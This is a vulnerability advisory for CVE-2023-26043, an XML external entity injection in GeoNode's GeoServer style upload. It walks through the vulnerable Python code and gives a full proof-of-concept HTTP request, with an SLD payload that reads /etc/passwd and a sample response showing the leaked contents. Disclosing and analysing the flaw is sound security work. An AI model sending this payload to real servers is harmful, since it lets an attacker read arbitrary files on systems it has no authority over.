CVE-2023-26043: XML External Entity (XXE) injection in GeoServer style upload functionality

Summary GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.

Details GeoNode's GeoServer has the ability to upload new styles for datasets through the datasetstyleupload view.

py https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159 @loginrequired def datasetstyleupload(request, layername): def respond(args, kw): kw['contenttype'] = 'text/html' return jsonresponse(args, kw) ... sld = request.FILES['sld'].read() # 1 sldname = None try: # Check SLD is valid ... sldname = extractnamefromsld(gscatalog, sld, sldfile=request.FILES['sld']) # 2 except Exception as e: respond(errors=f"The uploaded SLD file is not valid XML: {e}") name = data.get('name') or sldname setdatasetstyle(layer, data.get('title') or name, sld) return respond( body={ 'success': True, 'style': data.get('title') or name, # 3 'updated': data['update']})

datasetstyleupload gets a user-provided file (1), pass it to extractnamefromsld to extract an element from it (2) and return the former in the response (3).

py https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234 def extractnamefromsld(gscatalog, sld, sldfile=None): try: if sld: if isfile(sld): with open(sld, "rb") as sldfile: sld = sldfile.read() # 1 if isinstance(sld, str): sld = sld.encode('utf-8') dom = etree.XML(sld) # 2 ... nameddataset = dom.findall( "{http://www.opengis.net/sld}NamedLayer") el = None if nameddataset and len(nameddataset) > 0: userstyle = nameddataset[0].findall("{http://www.opengis.net/sld}UserStyle") if userstyle and len(userstyle) > 0: el = userstyle[0].findall("{http://www.opengis.net/sld}Name") # 3 ... return el[0].text # 4

extractnamefromsld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolveentities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.

PoC 1. Create a guest/non-privileged account and log in. 1. Upload a dataset through /catalogue/#/upload/dataset whose name we will be referencing as <DATASETNAME>. 1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of /etc/passwd:

POST /gs/geonode:<DATASETNAME>/style/upload HTTP/1.1 Host: localhost Cookie: djangolanguage=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE> X-Csrftoken: <CSRF-TOKEN> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo Content-Length: 485 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="layerid" 1 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="sld"; filename="foo.sld" Content-Type: application/octet-stream <?xml version="1.0" standalone="yes"?> <!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]> <foo xmlns="http://www.opengis.net/sld"> <NamedLayer> <UserStyle> <Name>&ent;</Name> </UserStyle> </NamedLayer> </foo> ------WebKitFormBoundaryfoo--

Sample response:

HTTP/1.1 200 OK Server: nginx/1.23.2 ... {"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}

Impact This issue may lead to authenticated Arbitrary File Read.